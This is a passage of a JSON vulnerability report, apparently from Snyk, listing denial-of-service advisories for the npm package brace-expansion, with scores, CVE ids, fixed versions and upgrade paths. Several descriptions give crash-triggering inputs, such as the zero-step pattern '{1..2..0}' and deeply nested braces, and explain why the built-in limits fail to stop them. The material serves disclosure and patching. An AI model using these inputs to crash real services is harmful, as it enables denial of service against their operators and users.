"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
